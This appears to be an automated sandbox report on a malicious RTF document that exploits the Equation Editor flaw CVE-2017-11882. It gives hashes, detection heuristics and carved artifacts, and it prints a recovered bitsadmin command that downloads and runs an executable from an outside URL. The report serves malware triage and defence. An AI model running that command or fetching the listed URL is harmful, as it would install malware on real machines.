RTF malware analysis — malicious · 93a12d8b3e01cfbf

MALICIOUS

RTF

10.6 KB Authoring application: Riched20 6.3.9600 First seen: 2019-08-04

MD5: d3b88678aa53b07f428e7970a1755d5a SHA-1: b945f2f18eb200ad975f14b9815fdaa7340290c7 SHA-256: 93a12d8b3e01cfbfe66dbda256dad388db96697d458f5c1601eb05f9bd9f61aa

382 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object that exploits CVE-2017-11882 via Microsoft Equation Editor. This exploit is designed to download and execute a secondary payload from the URL http://mashhadani.com/z/a.exe. The presence of the exploit and the embedded URL strongly indicate a malicious intent to compromise the user's system.

Heuristics 9

Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR

Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882

Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
ClamAV: Rtf.Exploit.CVE_2017_11882-6584355-1 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Rtf.Exploit.CVE_2017_11882-6584355-1
Equation Editor object class critical RTF_OBJCLASS_EQUATION

Object class 'equation.3' references Equation Editor
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://mashhadani.com/z/a.exe In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off00000362.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x362	3546 bytes
SHA-256: `2481f935f272297ffb336335df407cccb095d60e9f1aae8efed7e19c6319e148`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://mashhadani.com/z/a.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer 8 /download http://mashhadani.com/z/a.exe %temp%\Qj.Exe&%temp%\Qj.Exe

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